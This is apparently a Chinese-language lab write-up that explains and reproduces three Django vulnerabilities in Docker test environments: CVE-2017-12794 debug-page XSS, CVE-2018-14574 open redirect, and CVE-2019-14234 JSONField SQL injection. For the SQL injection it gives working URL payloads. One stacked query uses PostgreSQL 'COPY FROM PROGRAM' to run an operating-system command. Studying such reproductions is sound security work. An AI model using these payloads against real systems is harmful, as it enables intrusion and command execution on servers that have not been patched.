Django
Django是Django软件基金会的一套基于Python语言的开源Web应用框架
CVE-2017-12794 XSS漏洞
思路
执行时会抛出异常类
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
异常类被拼接到
The above exception ({
{
frame.exc_cause }}) was the direct cause of the following exception
从而执行xss。而一般是在出现数据库异常的时候,会抛出这样的错误语句。查看对应的抛出异常类函数
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)
其中exc_type
是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error
之一,则抛出一个同类型的新异常,并设置其__cause__
和__traceback__
为此时上下文的exc_value
和traceback
(exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常)。最后,在500页面中,__cause__被输出。
使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于之前说到的,这个字符串其实就会被设置成__cause__,最后被显示在页面中。
Django debug page XSS漏洞(CVE-2017-12794)
漏洞复现
docker部署环境后访问:8080,通过访问
create_user/?username=<script>alert(1)</script>
成功创建用户,再次创建时
抛出异常成功弹窗
CVE-2018-14574 任意URL跳转漏洞
思路
Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。
在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
前端 Django URL跳转漏洞(CVE-2018-14574)
漏洞复现
docker部署环境后访问:8000
访问http://vulhub.yster.live:8000//www.baidu.com
发现直接跳转到百度上
CVE-2019-14234 Django JSONField SQL注入漏洞
Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。
而JSONField是该数据库的一种数据类型
思路
在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是
WHERE (field->’[key_name]’) = ‘value’
因此可以进行SQL注入。
【研究】CVE-2019-14234 Django JSONField SQL注入漏洞复现
漏洞复现
docker部署完成后访问:8000/admin
在/admin登陆,输入用户名admin,密码a123123123
/admin/vuln/collection/?detail__a'b=123
结合CVE-2019-9193我们尝试进行命令注入,构造url如下
/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
利用SQL语句,执行任意系统命令
/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'touch /tmp/test'--%20